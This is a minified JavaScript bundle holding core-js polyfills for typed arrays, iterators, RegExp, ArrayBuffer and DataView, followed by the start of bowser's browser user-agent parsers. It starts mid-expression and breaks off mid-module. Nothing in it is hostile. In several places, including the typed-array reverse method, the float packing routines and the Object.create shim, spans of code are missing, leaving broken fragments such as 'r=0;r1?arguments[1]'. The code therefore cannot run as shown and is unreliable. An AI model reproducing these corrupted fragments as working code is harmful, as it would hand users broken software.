r=e(19),i=e(46),o=e(10),u=e(6),a=e(112);t.exports=function(t,n){var e=1==t,c=2==t,s=3==t,f=4==t,l=6==t,h=5==t||l,d=n||a;return function(n,a,p){for(var v,g,y=o(n),m=i(y),b=r(a,p,3),S=u(m.length),w=0,M=e?d(n,S):c?d(n,0):void 0;S>w;w++)if((h||w in m)&&(g=b(v=m[w],w,y),t))if(e)M[w]=g;else if(g)switch(t){case 3:return!0;case 5:return v;case 6:return w;case 2:M.push(v)}else if(f)return!1;return l?-1:s||f?f:M}}},function(t,n){var e={}.toString;t.exports=function(t){return e.call(t).slice(8,-1)}},function(t,n){t.exports=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t}},function(t,n,e){"use strict";if(e(8)){var r=e(32),i=e(1),o=e(2),u=e(0),a=e(61),c=e(86),s=e(19),f=e(44),l=e(30),h=e(14),d=e(45),p=e(21),v=e(6),g=e(123),y=e(34),m=e(28),b=e(13),S=e(48),w=e(4),M=e(10),_=e(78),x=e(35),P=e(37),O=e(36).f,A=e(80),F=e(31),E=e(5),N=e(24),R=e(51),T=e(49),k=e(82),j=e(42),I=e(54),L=e(43),B=e(81),C=e(114),W=e(9),V=e(22),G=W.f,D=V.f,U=i.RangeError,z=i.TypeError,q=i.Uint8Array,K=Array.prototype,Y=c.ArrayBuffer,Q=c.DataView,H=N(0),J=N(2),X=N(3),Z=N(4),$=N(5),tt=N(6),nt=R(!0),et=R(!1),rt=k.values,it=k.keys,ot=k.entries,ut=K.lastIndexOf,at=K.reduce,ct=K.reduceRight,st=K.join,ft=K.sort,lt=K.slice,ht=K.toString,dt=K.toLocaleString,pt=E("iterator"),vt=E("toStringTag"),gt=F("typed_constructor"),yt=F("def_constructor"),mt=a.CONSTR,bt=a.TYPED,St=a.VIEW,wt=N(1,(function(t,n){return Ot(T(t,t[yt]),n)})),Mt=o((function(){return 1===new q(new Uint16Array([1]).buffer)[0]})),_t=!!q&&!!q.prototype.set&&o((function(){new q(1).set({})})),xt=function(t,n){var e=p(t);if(e<0||e%n)throw U("Wrong offset!");return e},Pt=function(t){if(w(t)&&bt in t)return t;throw z(t+" is not a typed array!")},Ot=function(t,n){if(!w(t)||!(gt in t))throw z("It is not a typed array constructor!");return new t(n)},At=function(t,n){return Ft(T(t,t[yt]),n)},Ft=function(t,n){for(var e=0,r=n.length,i=Ot(t,r);r>e;)i[e]=n[e++];return i},Et=function(t,n,e){G(t,n,{get:function(){return this._d[e]}})},Nt=function(t){var n,e,r,i,o,u,a=M(t),c=arguments.length,f=c>1?arguments[1]:void 0,l=void 0!==f,h=A(a);if(null!=h&&!_(h)){for(u=h.call(a),r=[],n=0;!(o=u.next()).done;n++)r.push(o.value);a=r}for(l&&c>2&&(f=s(f,arguments[2],2)),n=0,e=v(a.length),i=Ot(this,e);e>n;n++)i[n]=l?f(a[n],n):a[n];return i},Rt=function(){for(var t=0,n=arguments.length,e=Ot(this,n);n>t;)e[t]=arguments[t++];return e},Tt=!!q&&o((function(){dt.call(new q(1))})),kt=function(){return dt.apply(Tt?lt.call(Pt(this)):Pt(this),arguments)},jt={copyWithin:function(t,n){return C.call(Pt(this),t,n,arguments.length>2?arguments[2]:void 0)},every:function(t){return Z(Pt(this),t,arguments.length>1?arguments[1]:void 0)},fill:function(t){return B.apply(Pt(this),arguments)},filter:function(t){return At(this,J(Pt(this),t,arguments.length>1?arguments[1]:void 0))},find:function(t){return $(Pt(this),t,arguments.length>1?arguments[1]:void 0)},findIndex:function(t){return tt(Pt(this),t,arguments.length>1?arguments[1]:void 0)},forEach:function(t){H(Pt(this),t,arguments.length>1?arguments[1]:void 0)},indexOf:function(t){return et(Pt(this),t,arguments.length>1?arguments[1]:void 0)},includes:function(t){return nt(Pt(this),t,arguments.length>1?arguments[1]:void 0)},join:function(t){return st.apply(Pt(this),arguments)},lastIndexOf:function(t){return ut.apply(Pt(this),arguments)},map:function(t){return wt(Pt(this),t,arguments.length>1?arguments[1]:void 0)},reduce:function(t){return at.apply(Pt(this),arguments)},reduceRight:function(t){return ct.apply(Pt(this),arguments)},reverse:function(){for(var t,n=Pt(this).length,e=Math.floor(n/2),r=0;r1?arguments[1]:void 0)},sort:function(t){return ft.call(Pt(this),t)},subarray:function(t,n){var e=Pt(this),r=e.length,i=y(t,r);return new(T(e,e[yt]))(e.buffer,e.byteOffset+i*e.BYTES_PER_ELEMENT,v((void 0===n?r:y(n,r))-i))}},It=function(t,n){return At(this,lt.call(Pt(this),t,n))},Lt=function(t){Pt(this);var n=xt(arguments[1],1),e=this.length,r=M(t),i=v(r.length),o=0;if(i+n>e)throw U("Wrong length!");for(;o255?255:255&r),i.v[d](e*n+i.o,r,Mt)}(this,e,t)},enumerable:!0})};b?(p=e((function(t,e,r,i){f(t,p,s,"_d");var o,u,a,c,l=0,d=0;if(w(e)){if(!(e instanceof Y||"ArrayBuffer"==(c=S(e))||"SharedArrayBuffer"==c))return bt in e?Ft(p,e):Nt.call(p,e);o=e,d=xt(r,n);var y=e.byteLength;if(void 0===i){if(y%n)throw U("Wrong length!");if((u=y-d)<0)throw U("Wrong length!")}else if((u=v(i)*n)+d>y)throw U("Wrong length!");a=u/n}else a=g(e),o=new Y(u=a*n);for(h(t,"_d",{b:o,o:d,l:u,e:a,v:new Q(o)});ldocument.F=Object<\/script>"),t.close(),c=t.F;r--;)delete c.prototype[o[r]];return c()};t.exports=Object.create||function(t,n){var e;return null!==t?(a.prototype=r(t),e=new a,a.prototype=null,e[u]=t):e=c(),void 0===n?e:i(e,n)}},function(t,n,e){var r=e(98),i=e(65).concat("length","prototype");n.f=Object.getOwnPropertyNames||function(t){return r(t,i)}},function(t,n,e){var r=e(13),i=e(10),o=e(64)("IE_PROTO"),u=Object.prototype;t.exports=Object.getPrototypeOf||function(t){return t=i(t),r(t,o)?t[o]:"function"==typeof t.constructor&&t instanceof t.constructor?t.constructor.prototype:t instanceof Object?u:null}},function(t,n,e){var r=e(5)("unscopables"),i=Array.prototype;null==i[r]&&e(14)(i,r,{}),t.exports=function(t){i[r][t]=!0}},function(t,n,e){var r=e(4);t.exports=function(t,n){if(!r(t)||t._t!==n)throw TypeError("Incompatible receiver, "+n+" required!");return t}},function(t,n,e){var r=e(9).f,i=e(13),o=e(5)("toStringTag");t.exports=function(t,n,e){t&&!i(t=e?t:t.prototype,o)&&r(t,o,{configurable:!0,value:n})}},function(t,n,e){var r=e(0),i=e(26),o=e(2),u=e(68),a="["+u+"]",c=RegExp("^"+a+a+"*"),s=RegExp(a+a+"*$"),f=function(t,n,e){var i={},a=o((function(){return!!u[t]()||"​…"!="​…"[t]()})),c=i[t]=a?n(l):u[t];e&&(i[e]=c),r(r.P+r.F*a,"String",i)},l=f.trim=function(t,n){return t=String(i(t)),1&n&&(t=t.replace(c,"")),2&n&&(t=t.replace(s,"")),t};t.exports=f},function(t,n){t.exports={}},function(t,n,e){"use strict";var r=e(1),i=e(9),o=e(8),u=e(5)("species");t.exports=function(t){var n=r[t];o&&n&&!n[u]&&i.f(n,u,{configurable:!0,get:function(){return this}})}},function(t,n){t.exports=function(t,n,e,r){if(!(t instanceof n)||void 0!==r&&r in t)throw TypeError(e+": incorrect invocation!");return t}},function(t,n,e){var r=e(11);t.exports=function(t,n,e){for(var i in n)r(t,i,n[i],e);return t}},function(t,n,e){var r=e(25);t.exports=Object("z").propertyIsEnumerable(0)?Object:function(t){return"String"==r(t)?t.split(""):Object(t)}},function(t,n){n.f={}.propertyIsEnumerable},function(t,n,e){var r=e(25),i=e(5)("toStringTag"),o="Arguments"==r(function(){return arguments}());t.exports=function(t){var n,e,u;return void 0===t?"Undefined":null===t?"Null":"string"==typeof(e=function(t,n){try{return t[n]}catch(t){}}(n=Object(t),i))?e:o?r(n):"Object"==(u=r(n))&&"function"==typeof n.callee?"Arguments":u}},function(t,n,e){var r=e(3),i=e(20),o=e(5)("species");t.exports=function(t,n){var e,u=r(t).constructor;return void 0===u||null==(e=r(u)[o])?n:i(e)}},function(t,n,e){var r=e(7),i=e(1),o=i["__core-js_shared__"]||(i["__core-js_shared__"]={});(t.exports=function(t,n){return o[t]||(o[t]=void 0!==n?n:{})})("versions",[]).push({version:r.version,mode:e(32)?"pure":"global",copyright:"© 2020 Denis Pushkarev (zloirock.ru)"})},function(t,n,e){var r=e(15),i=e(6),o=e(34);t.exports=function(t){return function(n,e,u){var a,c=r(n),s=i(c.length),f=o(u,s);if(t&&e!=e){for(;s>f;)if((a=c[f++])!=a)return!0}else for(;s>f;f++)if((t||f in c)&&c[f]===e)return t||f||0;return!t&&-1}}},function(t,n){n.f=Object.getOwnPropertySymbols},function(t,n,e){var r=e(25);t.exports=Array.isArray||function(t){return"Array"==r(t)}},function(t,n,e){var r=e(5)("iterator"),i=!1;try{var o=[7][r]();o.return=function(){i=!0},Array.from(o,(function(){throw 2}))}catch(t){}t.exports=function(t,n){if(!n&&!i)return!1;var e=!1;try{var o=[7],u=o[r]();u.next=function(){return{done:e=!0}},o[r]=function(){return u},t(o)}catch(t){}return e}},function(t,n,e){"use strict";var r=e(3);t.exports=function(){var t=r(this),n="";return t.global&&(n+="g"),t.ignoreCase&&(n+="i"),t.multiline&&(n+="m"),t.unicode&&(n+="u"),t.sticky&&(n+="y"),n}},function(t,n,e){"use strict";var r=e(48),i=RegExp.prototype.exec;t.exports=function(t,n){var e=t.exec;if("function"==typeof e){var o=e.call(t,n);if("object"!=typeof o)throw new TypeError("RegExp exec method returned something other than an Object or null");return o}if("RegExp"!==r(t))throw new TypeError("RegExp#exec called on incompatible receiver");return i.call(t,n)}},function(t,n,e){"use strict";e(116);var r=e(11),i=e(14),o=e(2),u=e(26),a=e(5),c=e(83),s=a("species"),f=!o((function(){var t=/./;return t.exec=function(){var t=[];return t.groups={a:"7"},t},"7"!=="".replace(t,"$")})),l=function(){var t=/(?:)/,n=t.exec;t.exec=function(){return n.apply(this,arguments)};var e="ab".split(t);return 2===e.length&&"a"===e[0]&&"b"===e[1]}();t.exports=function(t,n,e){var h=a(t),d=!o((function(){var n={};return n[h]=function(){return 7},7!=""[t](n)})),p=d?!o((function(){var n=!1,e=/a/;return e.exec=function(){return n=!0,null},"split"===t&&(e.constructor={},e.constructor[s]=function(){return e}),e[h](""),!n})):void 0;if(!d||!p||"replace"===t&&!f||"split"===t&&!l){var v=/./[h],g=e(u,h,""[t],(function(t,n,e,r,i){return n.exec===c?d&&!i?{done:!0,value:v.call(n,e,r)}:{done:!0,value:t.call(e,n,r)}:{done:!1}})),y=g[0],m=g[1];r(String.prototype,t,y),i(RegExp.prototype,h,2==n?function(t,n){return m.call(t,this,n)}:function(t){return m.call(t,this)})}}},function(t,n,e){var r=e(19),i=e(111),o=e(78),u=e(3),a=e(6),c=e(80),s={},f={};(n=t.exports=function(t,n,e,l,h){var d,p,v,g,y=h?function(){return t}:c(t),m=r(e,l,n?2:1),b=0;if("function"!=typeof y)throw TypeError(t+" is not iterable!");if(o(y)){for(d=a(t.length);d>b;b++)if((g=n?m(u(p=t[b])[0],p[1]):m(t[b]))===s||g===f)return g}else for(v=y.call(t);!(p=v.next()).done;)if((g=i(v,m,p.value,n))===s||g===f)return g}).BREAK=s,n.RETURN=f},function(t,n,e){var r=e(1).navigator;t.exports=r&&r.userAgent||""},function(t,n,e){"use strict";var r=e(1),i=e(0),o=e(11),u=e(45),a=e(29),c=e(58),s=e(44),f=e(4),l=e(2),h=e(54),d=e(40),p=e(69);t.exports=function(t,n,e,v,g,y){var m=r[t],b=m,S=g?"set":"add",w=b&&b.prototype,M={},_=function(t){var n=w[t];o(w,t,"delete"==t||"has"==t?function(t){return!(y&&!f(t))&&n.call(this,0===t?0:t)}:"get"==t?function(t){return y&&!f(t)?void 0:n.call(this,0===t?0:t)}:"add"==t?function(t){return n.call(this,0===t?0:t),this}:function(t,e){return n.call(this,0===t?0:t,e),this})};if("function"==typeof b&&(y||w.forEach&&!l((function(){(new b).entries().next()})))){var x=new b,P=x[S](y?{}:-0,1)!=x,O=l((function(){x.has(1)})),A=h((function(t){new b(t)})),F=!y&&l((function(){for(var t=new b,n=5;n--;)t[S](n,n);return!t.has(-0)}));A||((b=n((function(n,e){s(n,b,t);var r=p(new m,n,b);return null!=e&&c(e,g,r[S],r),r}))).prototype=w,w.constructor=b),(O||F)&&(_("delete"),_("has"),g&&_("get")),(F||P)&&_(S),y&&w.clear&&delete w.clear}else b=v.getConstructor(n,t,g,S),u(b.prototype,e),a.NEED=!0;return d(b,t),M[t]=b,i(i.G+i.W+i.F*(b!=m),M),y||v.setStrong(b,t,g),b}},function(t,n,e){for(var r,i=e(1),o=e(14),u=e(31),a=u("typed_array"),c=u("view"),s=!(!i.ArrayBuffer||!i.DataView),f=s,l=0,h="Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array".split(",");l<9;)(r=i[h[l++]])?(o(r.prototype,a,!0),o(r.prototype,c,!0)):f=!1;t.exports={ABV:s,CONSTR:f,TYPED:a,VIEW:c}},function(t,n,e){var r=e(4),i=e(1).document,o=r(i)&&r(i.createElement);t.exports=function(t){return o?i.createElement(t):{}}},function(t,n,e){n.f=e(5)},function(t,n,e){var r=e(50)("keys"),i=e(31);t.exports=function(t){return r[t]||(r[t]=i(t))}},function(t,n){t.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(t,n,e){var r=e(1).document;t.exports=r&&r.documentElement},function(t,n,e){var r=e(4),i=e(3),o=function(t,n){if(i(t),!r(n)&&null!==n)throw TypeError(n+": can't set as prototype!")};t.exports={set:Object.setPrototypeOf||("__proto__"in{}?function(t,n,r){try{(r=e(19)(Function.call,e(22).f(Object.prototype,"__proto__").set,2))(t,[]),n=!(t instanceof Array)}catch(t){n=!0}return function(t,e){return o(t,e),n?t.__proto__=e:r(t,e),t}}({},!1):void 0),check:o}},function(t,n){t.exports="\t\n\v\f\r   ᠎             　\u2028\u2029\ufeff"},function(t,n,e){var r=e(4),i=e(67).set;t.exports=function(t,n,e){var o,u=n.constructor;return u!==e&&"function"==typeof u&&(o=u.prototype)!==e.prototype&&r(o)&&i&&i(t,o),t}},function(t,n,e){"use strict";var r=e(21),i=e(26);t.exports=function(t){var n=String(i(this)),e="",o=r(t);if(o<0||o==1/0)throw RangeError("Count can't be negative");for(;o>0;(o>>>=1)&&(n+=n))1&o&&(e+=n);return e}},function(t,n){t.exports=Math.sign||function(t){return 0==(t=+t)||t!=t?t:t<0?-1:1}},function(t,n){var e=Math.expm1;t.exports=!e||e(10)>22025.465794806718||e(10)<22025.465794806718||-2e-17!=e(-2e-17)?function(t){return 0==(t=+t)?t:t>-1e-6&&t<1e-6?t+t*t/2:Math.exp(t)-1}:e},function(t,n,e){var r=e(21),i=e(26);t.exports=function(t){return function(n,e){var o,u,a=String(i(n)),c=r(e),s=a.length;return c<0||c>=s?t?"":void 0:(o=a.charCodeAt(c))<55296||o>56319||c+1===s||(u=a.charCodeAt(c+1))<56320||u>57343?t?a.charAt(c):o:t?a.slice(c,c+2):u-56320+(o-55296<<10)+65536}}},function(t,n,e){"use strict";var r=e(32),i=e(0),o=e(11),u=e(14),a=e(42),c=e(110),s=e(40),f=e(37),l=e(5)("iterator"),h=!([].keys&&"next"in[].keys()),d=function(){return this};t.exports=function(t,n,e,p,v,g,y){c(e,n,p);var m,b,S,w=function(t){if(!h&&t in P)return P[t];switch(t){case"keys":case"values":return function(){return new e(this,t)}}return function(){return new e(this,t)}},M=n+" Iterator",_="values"==v,x=!1,P=t.prototype,O=P[l]||P["@@iterator"]||v&&P[v],A=O||w(v),F=v?_?w("entries"):A:void 0,E="Array"==n&&P.entries||O;if(E&&(S=f(E.call(new t)))!==Object.prototype&&S.next&&(s(S,M,!0),r||"function"==typeof S[l]||u(S,l,d)),_&&O&&"values"!==O.name&&(x=!0,A=function(){return O.call(this)}),r&&!y||!h&&!x&&P[l]||u(P,l,A),a[n]=A,a[M]=d,v)if(m={values:_?A:w("values"),keys:g?A:w("keys"),entries:F},y)for(b in m)b in P||o(P,b,m[b]);else i(i.P+i.F*(h||x),n,m);return m}},function(t,n,e){var r=e(76),i=e(26);t.exports=function(t,n,e){if(r(n))throw TypeError("String#"+e+" doesn't accept regex!");return String(i(t))}},function(t,n,e){var r=e(4),i=e(25),o=e(5)("match");t.exports=function(t){var n;return r(t)&&(void 0!==(n=t[o])?!!n:"RegExp"==i(t))}},function(t,n,e){var r=e(5)("match");t.exports=function(t){var n=/./;try{"/./"[t](n)}catch(e){try{return n[r]=!1,!"/./"[t](n)}catch(t){}}return!0}},function(t,n,e){var r=e(42),i=e(5)("iterator"),o=Array.prototype;t.exports=function(t){return void 0!==t&&(r.Array===t||o[i]===t)}},function(t,n,e){"use strict";var r=e(9),i=e(30);t.exports=function(t,n,e){n in t?r.f(t,n,i(0,e)):t[n]=e}},function(t,n,e){var r=e(48),i=e(5)("iterator"),o=e(42);t.exports=e(7).getIteratorMethod=function(t){if(null!=t)return t[i]||t["@@iterator"]||o[r(t)]}},function(t,n,e){"use strict";var r=e(10),i=e(34),o=e(6);t.exports=function(t){for(var n=r(this),e=o(n.length),u=arguments.length,a=i(u>1?arguments[1]:void 0,e),c=u>2?arguments[2]:void 0,s=void 0===c?e:i(c,e);s>a;)n[a++]=t;return n}},function(t,n,e){"use strict";var r=e(38),i=e(115),o=e(42),u=e(15);t.exports=e(74)(Array,"Array",(function(t,n){this._t=u(t),this._i=0,this._k=n}),(function(){var t=this._t,n=this._k,e=this._i++;return!t||e>=t.length?(this._t=void 0,i(1)):i(0,"keys"==n?e:"values"==n?t[e]:[e,t[e]])}),"values"),o.Arguments=o.Array,r("keys"),r("values"),r("entries")},function(t,n,e){"use strict";var r,i,o=e(55),u=RegExp.prototype.exec,a=String.prototype.replace,c=u,s=(r=/a/,i=/b*/g,u.call(r,"a"),u.call(i,"a"),0!==r.lastIndex||0!==i.lastIndex),f=void 0!==/()??/.exec("")[1];(s||f)&&(c=function(t){var n,e,r,i,c=this;return f&&(e=new RegExp("^"+c.source+"$(?!\\s)",o.call(c))),s&&(n=c.lastIndex),r=u.call(c,t),s&&r&&(c.lastIndex=c.global?r.index+r[0].length:n),f&&r&&r.length>1&&a.call(r[0],e,(function(){for(i=1;ie;)n.push(arguments[e++]);return y[++g]=function(){a("function"==typeof t?t:Function(t),n)},r(g),g},d=function(t){delete y[t]},"process"==e(25)(l)?r=function(t){l.nextTick(u(m,t,1))}:v&&v.now?r=function(t){v.now(u(m,t,1))}:p?(o=(i=new p).port2,i.port1.onmessage=b,r=u(o.postMessage,o,1)):f.addEventListener&&"function"==typeof postMessage&&!f.importScripts?(r=function(t){f.postMessage(t+"","*")},f.addEventListener("message",b,!1)):r="onreadystatechange"in s("script")?function(t){c.appendChild(s("script")).onreadystatechange=function(){c.removeChild(this),m.call(t)}}:function(t){setTimeout(u(m,t,1),0)}),t.exports={set:h,clear:d}},function(t,n,e){"use strict";var r=e(1),i=e(8),o=e(32),u=e(61),a=e(14),c=e(45),s=e(2),f=e(44),l=e(21),h=e(6),d=e(123),p=e(36).f,v=e(9).f,g=e(81),y=e(40),m=r.ArrayBuffer,b=r.DataView,S=r.Math,w=r.RangeError,M=r.Infinity,_=m,x=S.abs,P=S.pow,O=S.floor,A=S.log,F=S.LN2,E=i?"_b":"buffer",N=i?"_l":"byteLength",R=i?"_o":"byteOffset";function T(t,n,e){var r,i,o,u=new Array(e),a=8*e-n-1,c=(1<>1,f=23===n?P(2,-24)-P(2,-77):0,l=0,h=t<0||0===t&&1/t<0?1:0;for((t=x(t))!=t||t===M?(i=t!=t?1:0,r=c):(r=O(A(t)/F),t*(o=P(2,-r))<1&&(r--,o*=2),(t+=r+s>=1?f/o:f*P(2,1-s))*o>=2&&(r++,o/=2),r+s>=c?(i=0,r=c):r+s>=1?(i=(t*o-1)*P(2,n),r+=s):(i=t*P(2,s-1)*P(2,n),r=0));n>=8;u[l++]=255&i,i/=256,n-=8);for(r=r<0;u[l++]=255&r,r/=256,a-=8);return u[--l]|=128*h,u}function k(t,n,e){var r,i=8*e-n-1,o=(1<>1,a=i-7,c=e-1,s=t[c--],f=127&s;for(s>>=7;a>0;f=256*f+t[c],c--,a-=8);for(r=f&(1<<-a)-1,f>>=-a,a+=n;a>0;r=256*r+t[c],c--,a-=8);if(0===f)f=1-u;else{if(f===o)return r?NaN:s?-M:M;r+=P(2,n),f-=u}return(s?-1:1)*r*P(2,f-n)}function j(t){return t[3]<<24|t[2]<<16|t[1]<<8|t[0]}function I(t){return[255&t]}function L(t){return[255&t,t>>8&255]}function B(t){return[255&t,t>>8&255,t>>16&255,t>>24&255]}function C(t){return T(t,52,8)}function W(t){return T(t,23,4)}function V(t,n,e){v(t.prototype,n,{get:function(){return this[e]}})}function G(t,n,e,r){var i=d(+e);if(i+n>t[N])throw w("Wrong index!");var o=t[E]._b,u=i+t[R],a=o.slice(u,u+n);return r?a:a.reverse()}function D(t,n,e,r,i,o){var u=d(+e);if(u+n>t[N])throw w("Wrong index!");for(var a=t[E]._b,c=u+t[R],s=r(+i),f=0;fK;)(U=q[K++])in m||a(m,U,_[U]);o||(z.constructor=m)}var Y=new b(new m(2)),Q=b.prototype.setInt8;Y.setInt8(0,2147483648),Y.setInt8(1,2147483649),!Y.getInt8(0)&&Y.getInt8(1)||c(b.prototype,{setInt8:function(t,n){Q.call(this,t,n<<24>>24)},setUint8:function(t,n){Q.call(this,t,n<<24>>24)}},!0)}else m=function(t){f(this,m,"ArrayBuffer");var n=d(t);this._b=g.call(new Array(n),0),this[N]=n},b=function(t,n,e){f(this,b,"DataView"),f(t,m,"DataView");var r=t[N],i=l(n);if(i<0||i>r)throw w("Wrong offset!");if(i+(e=void 0===e?r-i:h(e))>r)throw w("Wrong length!");this[E]=t,this[R]=i,this[N]=e},i&&(V(m,"byteLength","_l"),V(b,"buffer","_b"),V(b,"byteLength","_l"),V(b,"byteOffset","_o")),c(b.prototype,{getInt8:function(t){return G(this,1,t)[0]<<24>>24},getUint8:function(t){return G(this,1,t)[0]},getInt16:function(t){var n=G(this,2,t,arguments[1]);return(n[1]<<8|n[0])<<16>>16},getUint16:function(t){var n=G(this,2,t,arguments[1]);return n[1]<<8|n[0]},getInt32:function(t){return j(G(this,4,t,arguments[1]))},getUint32:function(t){return j(G(this,4,t,arguments[1]))>>>0},getFloat32:function(t){return k(G(this,4,t,arguments[1]),23,4)},getFloat64:function(t){return k(G(this,8,t,arguments[1]),52,8)},setInt8:function(t,n){D(this,1,t,I,n)},setUint8:function(t,n){D(this,1,t,I,n)},setInt16:function(t,n){D(this,2,t,L,n,arguments[2])},setUint16:function(t,n){D(this,2,t,L,n,arguments[2])},setInt32:function(t,n){D(this,4,t,B,n,arguments[2])},setUint32:function(t,n){D(this,4,t,B,n,arguments[2])},setFloat32:function(t,n){D(this,4,t,W,n,arguments[2])},setFloat64:function(t,n){D(this,8,t,C,n,arguments[2])}});y(m,"ArrayBuffer"),y(b,"DataView"),a(b.prototype,u.VIEW,!0),n.ArrayBuffer=m,n.DataView=b},function(t,n){var e=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=e)},function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,n,e){t.exports=!e(128)((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a}))},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(91))&&r.__esModule?r:{default:r},o=e(18);function u(t,n){for(var e=0;e0){var u=Object.keys(e),c=a.default.find(u,(function(t){return n.isOS(t)}));if(c){var s=this.satisfies(e[c]);if(void 0!==s)return s}var f=a.default.find(u,(function(t){return n.isPlatform(t)}));if(f){var l=this.satisfies(e[f]);if(void 0!==l)return l}}if(o>0){var h=Object.keys(i),d=a.default.find(h,(function(t){return n.isBrowser(t,!0)}));if(void 0!==d)return this.compareVersion(i[d])}},n.isBrowser=function(t,n){void 0===n&&(n=!1);var e=this.getBrowserName().toLowerCase(),r=t.toLowerCase(),i=a.default.getBrowserTypeByAlias(r);return n&&i&&(r=i.toLowerCase()),r===e},n.compareVersion=function(t){var n=[0],e=t,r=!1,i=this.getBrowserVersion();if("string"==typeof i)return">"===t[0]||"<"===t[0]?(e=t.substr(1),"="===t[1]?(r=!0,e=t.substr(2)):n=[],">"===t[0]?n.push(1):n.push(-1)):"="===t[0]?e=t.substr(1):"~"===t[0]&&(r=!0,e=t.substr(1)),n.indexOf(a.default.compareVersions(i,e,r))>-1},n.isOS=function(t){return this.getOSName(!0)===String(t).toLowerCase()},n.isPlatform=function(t){return this.getPlatformType(!0)===String(t).toLowerCase()},n.isEngine=function(t){return this.getEngineName(!0)===String(t).toLowerCase()},n.is=function(t,n){return void 0===n&&(n=!1),this.isBrowser(t,n)||this.isOS(t)||this.isPlatform(t)},n.some=function(t){var n=this;return void 0===t&&(t=[]),t.some((function(t){return n.is(t)}))},t}();n.default=s;t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r};var o=/version\/(\d+(\.?_?\d+)+)/i,u=[{test:[/googlebot/i],describe:function(t){var n={name:"Googlebot"},e=i.default.getFirstMatch(/googlebot\/(\d+(\.\d+))/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/opera/i],describe:function(t){var n={name:"Opera"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:opera)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/opr\/|opios/i],describe:function(t){var n={name:"Opera"},e=i.default.getFirstMatch(/(?:opr|opios)[\s/](\S+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/SamsungBrowser/i],describe:function(t){var n={name:"Samsung Internet for Android"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:SamsungBrowser)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/Whale/i],describe:function(t){var n={name:"NAVER Whale Browser"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:whale)[\s/](\d+(?:\.\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/PaleMoon/i],describe:function(t){var n={name:"Pale Moon"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:PaleMoon)[\s/](\d+(?:\.\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/MZBrowser/i],describe:function(t){var n={name:"MZ Browser"},e=i.default.getFirstMatch(/(?:MZBrowser)[\s/](\d+(?:\.\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/focus/i],describe:function(t){var n={name:"Focus"},e=i.default.getFirstMatch(/(?:focus)[\s/](\d+(?:\.\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/swing/i],describe:function(t){var n={name:"Swing"},e=i.default.getFirstMatch(/(?:swing)[\s/](\d+(?:\.\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/coast/i],describe:function(t){var n={name:"Opera Coast"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:coast)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/opt\/\d+(?:.?_?\d+)+/i],describe:function(t){var n={name:"Opera Touch"},e=i.default.getFirstMatch(/(?:opt)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/yabrowser/i],describe:function(t){var n={name:"Yandex Browser"},e=i.default.getFirstMatch(/(?:yabrowser)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/ucbrowser/i],describe:function(t){var n={name:"UC Browser"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:ucbrowser)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/Maxthon|mxios/i],describe:function(t){var n={name:"Maxthon"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:Maxthon|mxios)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/epiphany/i],describe:function(t){var n={name:"Epiphany"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:epiphany)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/puffin/i],describe:function(t){var n={name:"Puffin"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:puffin)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/sleipnir/i],describe:function(t){var n={name:"Sleipnir"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:sleipnir)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/k-meleon/i],describe:function(t){var n={name:"K-Meleon"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/(?:k-meleon)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/micromessenger/i],describe:function(t){var n={name:"WeChat"},e=i.default.getFirstMatch(/(?:micromessenger)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/qqbrowser/i],describe:function(t){var n={name:/qqbrowserlite/i.test(t)?"QQ Browser Lite":"QQ Browser"},e=i.default.getFirstMatch(/(?:qqbrowserlite|qqbrowser)[/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return 